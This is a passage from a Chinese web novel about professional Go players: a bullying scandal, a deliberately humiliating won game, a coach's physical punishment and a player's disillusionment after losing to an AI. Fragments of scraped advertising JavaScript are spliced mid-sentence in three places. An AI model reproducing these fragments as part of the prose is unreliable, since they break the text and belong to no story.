在京城华一的两年里,他和言宜歌的交流并不多,言宜歌总是在全国各地宣传和摄影,看起来光鲜亮丽,是京城华一的一大招牌。如果不是言宜歌在记者会上说的那些话,他绝不敢想象,看起来贵如天之骄子的言宜歌,竟然深陷和他相似的困境。 仇嘉铭乐呵呵:“正好你俩组个破产姐弟。” 言宜歌发送一条短如兔子尾巴的弹幕:【……】 仇嘉铭盛情邀请:“小歌要不要连麦一起来聊天呀?” 言宜歌:【不要。】 然后就退出了直播间。 仇嘉铭尴尬一笑:“家人们,我总感觉就算我加入了江陵长玫,日子可能也不会太好过……” 弹幕: 【看出来了。】 【你才知道吗?】 【为老仇点蜡。】 远在岳州备赛的谢砚之,看着直播,为蒋阳成感到高兴和欣慰。正如蒋阳成所说,他并没有谢砚之和言宜歌那样丰厚的出走的资本,但他仍然走出了这艰难的一步。 正当仇嘉铭准备下播,突然对着屏幕呆了一瞬,念出一条弹幕:“有人发了谢砚之和元天宇闹掰的视频?” 谢砚之突然从手机里听到自己的名字,也是一愣。 那晚,场面混乱,他没注意还有人在录像。 弹幕里有人好心指路,发了视频。 那条不到五分钟的视频,热度急速高涨,甚至已经盖过仇嘉铭的爆料直播,直线冲上视频平台的热搜榜。 标题十分瞩目: 【带你们看看“棋君子”谢砚之的另一面。】 27.自填一眼 视频从俱乐部的大厅休息区,对准元天宇办公室的门,从下往上偷拍。门虚掩着,留出手掌宽的缝隙,灯光莹白,从缝隙中,可以看到元天宇办公室的红棕色实木地板,和谢砚之的一截板正的黑色西装裤腿。 视频开头,只能听到模糊的协商声。两人声线分明。一人嗓音粗噶,见缝插针地掺入圆滑的笑声,另一人嗓音清越,却很严肃,有些动了怒。 争执的嗓音越来越大,直到谢砚之清晰响亮、掷地有声地怒斥:“围棋不是用来欺负人的。” 寒冬深夜,京城的卷地北风勾开门扉,若有若无的人声瞬时变得清晰不少。 元天宇完全不恼,嘻嘻一笑说:“这话说的,谈什么欺负。蒋阳成是我当年做主签进来的,我是他的伯乐,能不疼他?但要是不考虑赞助商的面子,京城华一,上百个棋手,谁给他们发工资?” “我不干了。”谢砚之语调沉静笃定。 元天宇这才正色:“谢九段,华一这八年来没有亏待过你,把最好的资源和机会都往你身上砸,你知不知道你解约要付多少违约金?” 棋手与所效力的俱乐部解约,需要支付的违约金是不同的,和合同剩余年限、棋手个人价值以及俱乐部为这个棋手投入了多少心力有关。言宜歌两百万已是天价。至于谢砚之,恐怕要超过三百万。 谢砚之似笑非笑:“不过是几盘棋的钱。花几百万远离这里,我乐意。” 元天宇扬声:“谢砚之,你到底在狂什么?你不就仗着你妈是谢颖?谢颖算什么,你惹了我,离开京城华一,你信不信,我能让你从此下不成棋?” 谢砚之似听到什么荒唐可笑的事,一向安静儒雅、说话温声慢气的人,竟肆意放声大笑起来。从视频中,能感受到办公室外,原本还有些嘈杂的大厅里,因为谢砚之的大笑声,静得分明,似都在屏息,等待下一秒谢砚之所说的话: “谁稀罕啊?” 时至如今,谢砚之已无法解释,看到云松杯参赛人员名单的时候,他的情绪为什么会那么失控。 或许是因为,他行棋二十年,眼里只见黑白,容不得异色。 又或许,这二十年来,他在围棋上积攒了太多失望,早已初心黯淡。他敬仰那些还有理想的棋手,不能忍受他们再受到外部体制的盘剥。 那声“谁稀罕啊”一出,弹幕里全是【???】。 【谢砚之不想下棋了?】 【他被气急了才这么说的吧,怎么可能啊!】 【没有对围棋的热爱,是下不好围棋的。能说出这种话来,谢国手道心已碎。】 视频的下一秒,办公室的门被大力打开,谢砚之阔步走出,面无表情,眉目如衔霜刀剑,周身气息凛然。 【这是谁?这是谁?这不是谢砚之!】 【追了他十年棋赛,从朝国时期追到现在,没见过这样的谢砚之……】 【说好的光风霁月温柔儒雅呢……难道平时都是在镜头面前装出来的?】 大厅里似乎有同事想叫住谢砚之,他头也没回,从休息室门边的衣架上捞起自己的大衣外套,径自往大厅外的门廊边走。 视频里传来张博新九段的喊声:“喂!谢砚之,你疯了?大不了以后我们哥几个多关照点小朋友,你犯得着这样吗?” 谢砚之没理。 镜头跟着谢砚之颀长的身形向外,门口处,半个月前刚取得的围甲联赛冠军奖杯,突然匍倒,半人高的铜制奖杯坠地,声如洪钟,沉重无比。 【这毕竟是整个京城华一一起赢来的奖杯,踢奖杯泄愤不太好吧……】 【前面的看仔细点,他没踢,他是不小心绊到的。】 【拿这个奖还不是靠谢国手连续11轮主将赛顶大梁获胜,就算是踢一脚怎么了怎么了?】 老实说,这才是整段视频里谢砚之觉得最羞于见人的地方。 他毫无风度的一面,他对围棋的灰心,并不假,即便暴露在世人眼中,他也无所谓。 唯独他因为气上头了出门没看路脚尖被奖杯底座别了一下这件事,太丢人了。 【……所以目前整段视频谢砚之最大的黑点是他碰倒了奖杯但是没有回来扶是吗……】 【呃,如果不算把元天宇骂了一顿而元天宇活该的话,那确实是。】 【小发雷霆。】 谢砚之默默退出视频网站。 想联系一下发视频的人。不管你是谁,不管你在这个时间点发这个视频是为了挺蒋阳成、谢砚之,还是为了支持元天宇,或者只是单纯想要蹭一个热度—— 能不能把最后那段绊倒奖杯给剪掉啊?! 他本就为了备战明日的云松杯本赛第一天,在谢颖和赵良甫的陪同下,在棋室里练得稍晚了一些,回房间后还看了两段视频。早睡已无可能,他索性多等半小时,在零点查看抽签结果。 刷新出抽签结果的瞬间,谢砚之忍不住嗤笑一声。 明天又要热闹了。 * 翌日,云松杯本赛在岳州市江心大酒店正式开赛。 进入本赛的32名顶级职业棋手,将分为16组,分4天进行比赛。谢砚之与元天宇的对阵,在第一天举行。 当日零点,云松杯的官微发布了本赛第1轮的16组抽签结果:第3场,【京城华一】元天宇(执黑)对阵【京城华一】谢砚之(执白)。 不少棋友在评论区惊呼:这哪是抽签结果,签能这么懂事?分明就是主办方故意的吧?! 又过了半个小时,云松杯的官微编辑了这条微博: 【京城华一】元天宇(执黑)对阵【江陵长玫】谢砚之(执白)。 棋友评论:【笑死,谢颖妈咪的资本人脉话语地位一目了然。占着京城华一的名额,但就是能顶着新俱乐部的名字打比赛,你就说气不气人吧。】 上午九点,前4组的八名棋手各自在赛区就位,比赛开始。 双方棋手各有2小时思考时间。2小时用尽之后,是5次1分钟的读秒。 云松杯赛事组委会请来攀柔五段,在赛事直播中,同时为四盘棋作解说。 两个多小时后,四局棋都进展到中盘,有观众发现攀柔唯独对谢砚之与元天宇的对局疏于解说,在弹幕里面发泄不满: 【为什么不解说谢砚之和元 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 天宇那场???】 【每次聊两句就换到另一组棋上了呵呵。】 【攀五段不会是华一的人吧,舍不得让主子丢脸???】 工作人员通过耳麦,委婉将弹幕内容告知攀柔。攀柔面露无奈,将屏幕画面调回谢砚之与元天宇那局棋: “你们想看,我们就来讲讲这局棋。” 此时棋局已进展到157手。元天宇已接近读秒,谢砚之的棋钟,才走不到一半。 “……但也没什么可说的。不是我不想讲,我可喜欢看谢国手的棋了,实在是……真的没什么可说的。谢国手单方面碾压,下得跟招猫逗狗似的,整局棋,元天宇六段没有任何机会。” 攀柔伸出手,在棋盘上几个元天宇可以争夺的点上示意: “如果元天宇抓住了这几个机会,他可能还能和谢砚之一战,但他像吓破了胆一样,一点积极性都没有。第95手,好不容易黑棋鼓起勇气,开始屠杀白棋大龙了,结果谢砚之没费什么力气,轻轻松松就做活了,元天宇杀了个寂寞。” 最后她向着镜头一摊手: “观众朋友们,这么无趣的棋,你们喜欢听吗?我们不如还是来看看张博新九段和沈文立七段精彩的生死劫吧!” 弹幕: 【虽然还是想看小谢的棋但不知怎么被柔柔说服了……】 【没办法,你柔是解说界塞壬,说啥都进脑子。】 【家人们我们来赌元天宇多少手认输吧!这是这局棋唯一的乐子了!】 直播镜头里,攀柔对着掌心里的平板,查看新的战果,突然发出一声疑惑的、尾音上扬的“欸”。 第157手,元天宇落子,第158手,谢砚之在做出两眼、已然成活的白棋大龙上,自填一眼。 ——这是自杀。 谢砚之将价值五十目的棋,白白地,拱手送给了元天宇。 直播画面的左下角,有四个小的长方形窗口,实时转播棋赛现场的情况。所有人都能看到,在谢砚之下出第158手之后,元天宇腾地站起身来,上半身前倾,愤怒得整张圆脸扭曲,似乎下一秒就要将拳头挥到谢砚之脸上。 而谢砚之,则不紧不慢地绽开一个温和的微笑,一双轮廓美丽柔和的眼半弯,状似费解地看着眼前暴跳如雷的对手,好像全然不知道对面为什么生气一样。 元天宇声嘶力竭地:“你羞辱我!” 一旁有工作人员冲上来,按着他的肩膀、手臂,劝他坐下,提醒他棋钟还在走,时间不多了。 元天宇气得满脸紫红,强行冷静下来继续看棋,攥着黑色棋子的手,如痉挛一般抖个不止。 谢砚之这么做,就是打定了这局棋,他能元天宇赢五十目以上。 凭什么? 就算谢砚之是九段、国手,就算谢砚之得过三个世界冠军,那又怎样? 就连父亲,元修明九段,也顶多让他一个先手! 谢砚之凭什么自顾自让五十目?! 如今,只要战胜谢砚之,笑话就会变成另一个人,一个自负的、轻敌的、不尊重围棋的人。 只有战胜谢砚之…… 28.他的外套 第158手,谢砚之填气的子一落,攀柔懵了。 退役之后干了五年解说,她还是第一次看到这么无理的棋。 在此之前,谢砚之盘面领先十目左右,已经牢牢锁定胜局。一手自填一眼,自杀一龙,白白送出五十目,反倒输了元天宇四十目,像是要把整盘棋送给元天宇了。 来解说之前,攀柔也听说了谢砚之和元天宇之间的龃龉。 昨晚仇嘉铭的直播,和视频网站上那条谢砚之与元天宇争执的视频,将两人之间的矛盾炒得沸反盈天,是眼下棋圈最大的新闻。 如果谢砚之真的以这种方式输给元天宇,恐怕会压过京城华一的丑闻,成为更大的热点。 一种可能,谢砚之收了元天宇的钱,元天宇重金买一个晋级名额。 圈内假棋事件不少。可元天宇的表现,并不像知情。更何况,没有人下假棋会这么明显的。 那就只剩下另一种可能:谢砚之要在倒欠四十目的情况下赢棋。 元天宇也是国内现役一流棋手,与元天宇下棋,想在大劣势下翻盘,极为不易。 除非,对手是谢砚之。 攀柔无意识地低声念:“相信小谢,相信小谢……” 另一边,赛场之上,元天宇显然也察觉到谢砚之的意图,冷静下来长考。他的呼吸还有些颤抖,脸色也没有完全复原,肩却已经沉下来,一动不动地望着棋面。这是一个棋手静心思索的标志。 可惜留给他的时间实在太少。 五分钟之后,棋钟上的时间走尽,开始读秒。在一分钟读秒的尾声,他按照原本就算清的棋路,落了一子。 元天宇实在是看不出来,这局棋,谢砚之除了立即投子认输之外,还有什么出路。 谢砚之应得很快,一手罩,抵住元天宇的进攻,是本手。 元天宇又靠,继续扩张。 只是元天宇这一手之后,谢砚之将手一抄,身子向椅背靠去,任己方时间流动,抬起俊美的面孔,淡笑着望着元天宇。 “他在做什么?他为什么不下了?”攀柔急促地低问。 她似代入了谢砚之对面的位置,为他的一举一动,感受到与元天宇同等的不安与困惑。 【谁懂啊我感觉小谢的笑容有点吓人……】 【+1】 【我是谢砚之颜粉,我也加一。】 【为什么不下!!为什么不下!!!他在等什么!!!】 攀柔一任耳机里实时转达给她的弹幕,自顾自看棋。 “等等……” 她眼前乍亮。 谢砚之的罩,看似是对元天宇先前一手的应对,实际上,暗暗瞄准元天宇的弱点。元天宇的大空之中,要出棋。如果谢砚之杀得凶狠,扳平四十目的差距,不过是瞬间的事。 谢砚之早已看穿元天宇的棋路。他知道元天宇将会犯错,将机会拱手递给他,他索性让了一步,看元天宇能不能及时意识到。 很可惜,元天宇没有。 此刻,谢砚之棋钟里还有大把的时间,他不用来想棋,而是将时间豪掷在抱手笑看元天宇的反应上: 看他终于发现陷阱,脸色骤变,却又无能为力,只能等待谢砚之落下屠刀,在谢砚之延宕的时间里,如坠无间地狱,懊悔难平。偏偏还不甘认输,因为就算谢砚之杀光这一块棋,无非是抵了他刚刚让出的一块实地,局势不相上下,还有搏一搏的一线希望。 自十三年前,少年谢砚之以全国第一的成绩定段,攀柔就一直关注着他,眼看他一步步成长成全国首屈一指的棋手,下出青史垂名的成绩。可时至如今,攀柔不得不承认自己一点都不了解谢砚之。 每个棋手都知道,局势大优的棋被自己亲手下毁是一件多么痛苦的事。谢砚之用这种痛苦来惩罚的对手。 非常……恶劣。 恶劣,一个她从来没想过会用在谢砚之这样光风霁月的棋士身上的词。 终于,在平白折磨元天宇十分钟之后,谢砚之动手了。 一套教科书式的手筋杀得干脆利落,元天宇毫无抵抗之力,便被谢砚之将局势扳平。 接下来的一小时里,元天宇表现出前所未有的顽强,与谢砚之缠斗到官子最后一着。一场凌迟般的棋局告终,裁判和公证处的工作人员上前,数子。 “结果出来了。”解说室里的攀柔,面色凝重,“谢砚之一子胜,晋级云松杯十六强。” 这是她第一次,不为谢砚之的胜利感到高兴。 赛场里,裁判宣布比赛结果,谢砚之起身,拂了拂昂贵外衣上的褶皱,表情轻松,与裁判握手之后,略过已至崩溃边缘的元天宇,转身要走。 早有记者不顾阻拦拥上来,用镜头堵他去路,连声问谢砚之为什么要下出第158手自填一眼。 谢砚之像是有些好笑,觉得这问题没什么回答的价值似的,轻描淡写地: “防他投降呗。” 让出一手棋、一块地,竟然只是为了给元天宇一点甜头,一点获胜的希望,吊着他,把他留在棋盘上,任谢砚之羞辱。 等工作人员将不按规定贸然采访选手的记者清走,谢砚之终于可以离开。 他正要走,哑了一般噤声许久的元天宇,猛地起身,瞪大了眼,双唇因为愤怒而战栗不止,厉声: “谢砚之!你说围棋不是用来欺负人的,你现在又在做什么?” 谢砚之不理,径自走开。 “你以为你很正义?你和我又有什么区别?谢砚之,不认真下棋的棋手,会遭报应,你——” 谢砚之半转过脸,漠然: “输了棋,才会遭报应。” 他沿着选手进退场的内部通道离开。耳畔终于清净。 这局棋,于他也并不容易。自填一眼,是一场豪赌,他下出这一手的时候,必有一个人会名誉扫地,要么是没有察觉到陷阱的元天宇,要么是轻狂自负的他。 他十三年的职业生涯,从未如此走过悬崖索道。 好在,他赌赢了。 他低低长出一口气,平复因紧张而起伏不定的胸膛,快走两步。 在走廊的拐角处,一只纤长细瘦的胳膊抬起,将他拦住。 是庭见秋。 庭见秋仰起脸,咬着牙,面色是大病初愈的惨白,眼底青紫,额上有些细汗,黏了几根柔软卷曲的发丝,身体也有些颤抖,使她整个人看起来憔悴不已。 她手里,握着一件陈旧泛黄的外套,外套背面印着“江陵棋院”几个隶书大字。 “谢砚之,我把你的衣服,还给你。”她的声音里透出冰冷的陌生。 她看到了。——他如何自负地自填一眼,如何在棋桌上嘲讽对手。 他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 敢做出来,就不怕人看。 唯独她,是个例外。 对上她淡如琥珀一般的双眼,谢砚之竟感到一丝心虚与后悔,从心底悄然漫上来。 谢砚之接过。腈纶布料的廉价外套,入手有些沉,他自定段后,十三年来,再没穿过。这件当初借给她遮裤上血痕的外套,她保管得很好,微有樟脑的馨香。 他说:“谢谢。” 庭见秋面无表情地直视着他,似要用眼神剜穿他良好的教养,将他的心问出来:“我以为你没变。” 谢砚之如常一笑:“没变的只有你,见秋,你多坚硬,你是一颗金刚石,什么摧磨都改变不了你的质性。我不是。” 他举起手中的外套,向她说:“谢谢你还给我,但这身衣服,我已经穿不上了。” 语罢,他不待庭见秋回应,抬起下巴,错身从她身侧走开。 他不敢多留,怕庭见秋的失望。 他不知道她病好全了没有,是不是看到昨晚的直播,竟从云春,千里迢迢来岳州找他,给他加油。 从云春,到岳州,昨晚出发,中午抵达,要先坐他俩一起搭过的那班最早的火车到江陵,再转公交到飞机场,坐三小时飞机抵达岳州。 这么远的路,她还病着,只拿一件小时候的外套,就一声不吭地来了。 他却连她的身体状况也不问,不给她安排在岳州的住处,不陪她吃一顿饭。 他逃了。 谢砚之回到他专属的选手休息间,深吸一口气,打开门,两位教练正在休息间等他。 赵良甫立在休息室正中,满面怒容,手中握着一柄一尺长的铁质戒尺。谢颖则坐在休息室一旁的沙发上,一袭修身的黑裙,面上不见恼意,也并不笑,只微侧着脸,透过厚重的镜片,无声地看着他,周身气息凛冽。 “跪下!”赵良甫喝道。 谢砚之声调平静:“我赢棋了。” 赵良甫怒火更甚,提声:“给我跪下!” 一旁,谢颖冷眼看着,眸光沉重,似也在逼他服从。 谢砚之垂下头,缓慢地屈膝跪下。酒店的休息室里,铺有高绒地毯,不似小时候在江陵棋院里跪水泥地那样,又冷又硬,跪一小时要疼好几天。 赵良甫大步上前两步,戒尺如雷击一般落在谢砚之肩上背上: “我没有教过你填自己的眼!是谁教你下这样的棋?从此你叫他老师,不要叫我!” 谢砚之闷声吃痛,怎么也不叫唤出声来。 小时候,棋院里其他孩子挨打,都会故意叫得响些,因为赵良甫自己也有一个儿子,听到学生喊痛,会心软。 如今轮到他挨戒尺,却一声不吭。 他不服错。 “我赢了。”他重复。 赵良甫一怔,似没想到他会顶嘴,手上戒尺使力更凶,铁质长尺啪啪作响,嗓音含怒沙哑: “你以为你赢了?你输了!输了你的棋德!你们入学那一天,我教的是什么?是数气吗?不是!我教的是德行!我教的是尊重棋,尊重对手!” 谢砚之颔首不语。 “你从小在我这里学棋,我从来没有打过你,输再多我也不打你。不是看在你妈妈的面子上,是因为我知道你心里有棋,看重棋,赢也认真输也认真,是真棋士。 “——砚之,你怎么变成这样了?” 29.理想主义 是什么时候开始厌倦围棋的呢? 是长达二十年日复一日的训练,将他与寻常人的日常生活深深隔绝,使他越发觉得棋盘纵横,不过是三十八道束缚他的枷锁。 或是在父亲孙建民的Zen项目逐渐步入正轨之后,他帮助实验室做测试,第一次败于无血肉的机器,对着AI下出的、他永远想不到的一手棋,久久谛视。 又或是他被蒋阳成瘦削不足一握的手臂上,看到数十道刀痕的瞬间,突然意识到围棋圈并不是什么象牙塔,而是充满剥削与不公。只是他太幸运。 谢砚之短暂的二十五年人生里,只有围棋。割舍围棋,就是割舍他全部的生命。 他只好连带着自己的生命一起厌弃。 肩背之上,赵良甫的戒尺随着责骂声不断落下,戒尺挣裂外衣昂贵又脆弱的布料,露出外衣之下浸透白衬衫的点点血渍。他在沉默中消极抵抗赵良甫的呵斥。 “砚之。”沙发上,谢颖沉声开口。 赵良甫收起戒尺,退开两步,别开视线不再看他。他盛怒未消,喘息声不止,胸膛吃力地剧烈起伏着。 “来妈边上坐。” 谢颖很轻地拍了拍自己身边的位子。 谢砚之歪斜起身,略有些不稳,手在地上扶了一把,额发被忍痛流下的汗珠浸润,脸上狼藉一片。 他在谢颖身边坐下。 谢颖侧过身子,专注地看着他的眼睛,缓慢而庄重地说: “你赢了,但你赢得并不公平。你用过激的方式,扰乱了元天宇的情绪和思路,利用棋赛的规则,没有留给元天宇足够的思考时间。如果这不是比赛,在你自填一眼的时候,就已经输了。” 他知道自己赢得并不光彩。 “你本来可以以一种尊重对手尊重围棋的方式,名正言顺地取胜。你这样做的理由是什么呢?你和元天宇之间的矛盾,妈一直是知道的,但这是棋盘之外的事。你要让棋盘之外的事,影响到你的棋吗?” 谢颖一顿,又问: “又或者说,你对棋盘之外的事的兴趣,已经大过棋本身了?” 她问得很直白了。 她已经看不透,谢砚之到底还爱不爱棋。 谢砚之面对着母亲,无声,双眼低垂,暗色瞳仁里灰淡一片。 沉默便是他的回答,谢颖听懂了。 她低低叹了口气: “你还记不记得,你五岁大的时候,也跟我说不想下棋了。” 谢砚之有些诧异地抬起头来。 “那时候你在幼儿园里,跟着老师学画画,你可喜欢了。咱们家以前的老房子,白墙上都被你画了个遍。别的小孩子都画什么爸爸妈妈,阳光小草小房子,特别具体的东西,你不一样,你会画很多色块,把它们漂亮地拼在一起。我问你,这画的是什么呀,你说,这是你和米福在晴天江边草地上打滚的感觉。” 米福是谢砚之小时候养的米白土松犬,在谢砚之十岁那年寿终正寝。 “后来,你对画画的兴趣越来越大,家里的棋盘都被你用蜡笔画满了。你跟我说,不想上围棋班了,想上画画班。还记得我对你说了什么吗?” 谢砚之无言地看着深陷回忆之中的母亲。 “我对你说,画画是艺术,围棋也是呀。围棋,不就是和另一个人,在棋盘上一起画画吗?你们是对手,但同时,也是可敬的合作者,彼此都认真地画画,才能一起创作出一幅好的作品。” 围棋是艺术。 回忆杳然,唯独谢颖这一句话,他记得分明。从那时起,便一直以在棋盘上锻造出最高的艺术为目标而努力着。 终于有一天,他对围棋的理解精进到能在名家棋谱中,排兵布阵、妙着手筋之间,辨识出前人灵魂的痕迹。如同画布之上笔刷的形状,雕塑细微的凿痕和指印。 唯有艺术能铭刻人的灵魂,使人肉身亡灭,精神不朽。所以母亲说得没错,围棋是艺术。 他再也没有提起过画笔,将全身心投入纵横十九道之间,期待有一天自己也能如历史众多名棋手一样,下出独属于谢砚之的至高棋,神之一手。 ——直到Zen的出现,打碎了他所有天真的幻梦,令他过去的二十五年,全部都失去了意义。 他再也不信了。 谢颖察觉到他情绪微妙的变化,轻声问道:“砚之,今天你和元天宇一起画的这幅画,你满意吗?” 谢砚之很轻地扯了扯嘴角,笑了一下,嗓音因疼痛而喑哑: “妈,那你和元修明一起下的几局棋,你满意吗?” 谢颖脸色乍变。 赵良甫惊怒:“谢砚之,你在说什么?” 谢砚之缓缓站起身子,略有些不稳,垂首似有些怜悯地看着自己年逾知天命的母亲,额上汗珠已风干,凝成一片黯淡: “你离开国家队二十几年,和元修明在各类赛事上相遇不下百局,你的胜率如何呢?你有赢过三十盘棋吗?贪胜冒进,实地虚浮,急于作战,中盘就溃不成军。人人都说是元修明的棋风克你的力战。我想问问,每次对元修明认输的时候,你在想什么?” 他笑得更张扬: “你想的是眼前这盘棋,还是你和他之间的夙怨?是棋中,还是棋外?” 谢颖颤声:“砚之……” “妈,既然你也做不到,就不要用那套理想主义的东西,来管束我。” * 庭见秋买了时间上最近的一班火车软卧,睡一宿,便回到了江陵。 因病阔别棋院日常训练一周,她后悔得不行,再也不敢透支身体,每顿饭点两个肉菜,每天睡足八小时。 谢颖的棋队训练室还没装修完,满地灰土,一股甲醛毒味,言宜歌无处练习,没有棋赛的时候,就来江陵棋院找庭见秋下棋。 每次来都会被一群小孩阴森森地瞪着。 言宜歌虽然不打算走京城华一设计的那套人见人爱围棋“女神”路线,但还是不理解,怎么一朝之间自己的人缘变得这么糟糕。 后来她才知道,在江陵棋院,找庭见秋下棋,需要先预约。 言宜歌很配合小孩王国的规章制度:“可以,我上哪预约呢?” “找丛遇英师哥买号,三块钱一个。” 言宜歌:…… “或者你着急下的话,也可以找我买黄牛号,十块钱。”眼前叫小悦的小女孩用手半捂着嘴低声说。 言宜歌:“庭见秋知道你们打包把她卖了吗?!” 庭见秋什么都不知道。 她上午摆谱琢磨布局,下午便和棋院里的小朋友下棋,按实力猜先、让先或让子,晚上复盘。 赵良甫还在岳州陪谢砚之比赛,棋院里最凶的老师不在,小朋友每天像过节一样围着庭见秋转,吃准她外表凶,心肠软,好说话,没规矩地缠着她。 偶尔闲下来,她会看各家体育网站的棋赛新闻。 对于谢砚之以羞辱性的姿态战胜元天 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 宇的一局,舆论毁誉参半。 赞美声居多,认为谢砚之以前的棋风是儒君子,使一柄轻盈纸扇,杀人于无痕;如今终于宝刀出鞘,声动九州。心战取胜,也是实力的体现,更何况对手是同样活跃于一线的元天宇六段。 批评者多是认为,对棋手而言,规则只是最低限度的要求,更应以道德修养要求自身。谢砚之的表现令人失望。 比谢砚之陷入更麻烦的舆论风暴的,是元天宇六段。 经过京城华一的丑闻,再加上这样一番惨烈的败局,云松杯赛程首日,就出现唱衰元天宇的热搜: #元天宇棋二代# #元天宇滚出围棋界# #向京城华一霸凌事件的受害者道歉# 有人甚至猜测,元天宇六段会因此退役。 几天后,云松杯淘汰后回到京城的元天宇,在新闻发布会上,公开道歉。他按照网络上不平之声的要求,公开霸凌事件的调查结果,宣布京城华一将与参与霸凌事件的几名棋手解约并追责。 和网友的期待不同,这批棋手中,连一个知名的高段位棋手也没有。 都是些下棋下不出头,将自己的压抑发泄在更弱小者身上的,阴沟里的老鼠。 处理完霸凌事件之后,元天宇引咎辞职,让出京城华一主席之位,宣布自此以一名普通棋手的身份,仍然效力于京城华一,希望能精进自身,在接下来的比赛中获得好成绩。 他没有接受记者采访,发言之后,鞠躬离开。 有许多网友注意到,屏幕里的元天宇,气色消沉,瘦了一大圈,都有些撑不起衣服。 元天宇的新闻发布会之后,元修明九段在华国棋协接受记者采访。 画面上,男人面容方阔,长眉入鬓,气质古朴恬淡,不似整个华国围棋界的操盘手,更不似当年打遍东亚三国不见敌手的围棋老将,却像一名上了年纪的书生。由于年近不惑时的一场急病,他听力受损,出门在外时,耳上常年别着一个银白色的助听器。棋圣唯一的缺陷,如一枚独特的钤记,竟有景仰元修明的年轻棋手,定制了类似的耳饰效颦。 对于元天宇在新闻发布会上的发言,他不置是否,语气温慢: “一盘棋,只有技术是撑不起来的,还需要有棋手的人品道德,和对围棋事业最基本的尊重。” 元修明语焉不详,辨不出他说的是京城华一霸凌事件,还是含蓄地批评谢砚之。 翌日,江陵长玫宣布,签下从京城华一解约的蒋阳成。 又过几日,云松杯落幕。谢砚之九段一路连胜,以惊人状态,夺下云松杯冠军,独揽国内围棋赛事最高的一百八十万奖金,以及“最有价值棋手”称号。媒体评价,本次云松杯,谢砚之棋手展现出了他职业生涯前所未有的高峰状态。此外,京城华一包揽亚军、季军两席,蝉联“最有实力棋队”。 令媒体意外的是,谢砚之并没有出现在颁奖仪式上。 一百八十万元奖金支票,由谢砚之的母亲谢颖九段代领。 有记者当众询问谢颖,如何看待谢砚之与元天宇的那局棋,谢颖面对话筒,沉声答道: “围棋重才能技术,更重道德人品。” 她蓦地一笑: “——这种冠冕堂皇的套话,不是什么虚伪的人都能说吗?难道你们想听我再无聊地重复一次?” 谢颖话里话外直指元修明,底下记者群声沸腾。 彼时,谢砚之已抵达江陵。 30.废纸团 岳州一别之后,庭见秋没有主动找过谢砚之。 微信上的聊天记录,停留在她病前,两人的几手盲棋。 这是他们重逢之后的第三盘棋。前两盘,庭见秋都输得毫无反抗之力。第三盘,她终于逮住机会,在中盘展开战斗,形式一片向好,却突然生病了,之后一直晾着谢砚之,没有落子。 云松杯闭幕式当天,庭见秋正打谱,发现手机上多了一条来自谢砚之的消息。 小燕子:九,13。 半个月前,他发来的上一条坐标,还明晃晃地挂在聊天界面,隔着灰色的时间标记,两条坐标犯规地挨着。 见秋:你连下两步了。 见秋:连下两步是认输啊! 谢砚之回得很快。 小燕子:我知道。 见秋:你撤回,我当没看到,我不想用这种方式赢。 小燕子:撤回不了了。 小燕子:因为你超过两分钟没有回我消息。 见秋:我在打谱。 小燕子:我在楼下。 庭见秋一惊,腾地从椅子上站起来。 她知道今天是云松杯的闭幕式暨颁奖典礼,也知道谢砚之一路连胜,夺得本年度的桂冠和一百八十万奖金。怎么想他此刻都应该在岳州。 小燕子:你下来见我,我就当我这一步棋没下过。 她顾不得眼前这盘没摆完的棋,抄起手机,一路小跑下楼。 一楼楼梯口,谢砚之站姿散漫,身穿一件版型宽大的米白低领卫衣。黑色鸭舌帽檐压得很低,五官隐在阴影里,辨不出脸上的表情,帽檐出漏出几绺留得过长来不及修剪的黑发。 她扯过谢砚之的手腕,拉着他进了一楼无人的会议室。木质大门无声合拢,将棋院走廊里嘈杂的人声隔绝在外。 庭见秋真的生气了,脸色都带着愠怒的红,长发跑乱了,眉头、眼梢、微皱的鼻尖,哪哪都写着脾气。似一株开得旺盛的蟹爪兰,难得地生动。 谢砚之任她带着走,等她站稳,抬起手腕,垂眼见腕上有她攥出的一道红痕,竟一笑:“力气大多了,看来身体好了。” 庭见秋怒声:“谢砚之!你分明知道我讨厌你不认真下棋,一局好端端的棋你说认输就认输,这又不是你一个人的棋,你尊重过我吗?” “我怕你不理我。” 会议室窗帘半掩,温煦的一缝阳光透过下半扇窗,照彻逼仄会议室里的沉默,谢砚之略带苦笑的下半张脸,和宽大卫衣领口处被她扯动后露出来的一截皮肤,瘦削白净,却带着醒目的青紫痕迹。 庭见秋眼尖瞄到的瞬间,心头冒起慌乱,顾不得生气,抬手拉过他的衣服,踮起脚朝他露出来的伤痕处看,急声: “谁打你了?是赵老师还是谢颖老师?” 她一时挨得太近,温热的鼻息和说话的气流混着,打在谢砚之裸.露的皮肤上,留下灼痕一般的淡红,他不动声色地将身子往后挪了挪,轻轻扯下她不安分的手,又把卫衣领子复位,对她微笑: “不疼了。” 庭见秋扬声:“别人打你,你就让他们打?” 谢砚之无谓,语气很淡:“棋院里,老师惩戒学生,不是很正常吗?” 庭见秋一怔。他说得没错。庭见秋小时候没有挨过打,不是因为庭岘有着先进的教学理念和高尚的道德人品,纯粹是靠老爸的溺爱。对其他学生,庭岘照打不误,手里总握着一柄戒尺,在讲台上用来点黑板,走下讲台用来打学生手掌心。 连地方小棋院都是如此,像江陵棋院、京城围棋道场这样的大棋院,乃至于朝国的首尔围棋道场,日国的大正棋院,竞争激烈,体罚更多。 围棋老师们相信,唯有身体上的惩罚,才能最高效地让年幼不懂事的小棋童们尽早学会规矩,收起活络的心思,将更多的精力投入围棋训练,挤进十八岁之前定段的独木桥。家长也默许这种行为。 “——更何况,赵老师培养我十年,我如今要放弃了,他打我一顿也不过分。” 庭见秋不可置信地看着帽檐之下他深黑如墨的眼睛,竭力辨识她熟悉的谢砚之,她听到自己的喉咙里滚出干涩的质问:“不下了?为什么?你知不知道你走到今天这一步,有多幸运,你有那么好的天赋,那么多机会……” 这些,她都没有。 她耗费了巨大的努力,以堪称破釜沉舟的勇气,才重新与谢砚之并肩而立。 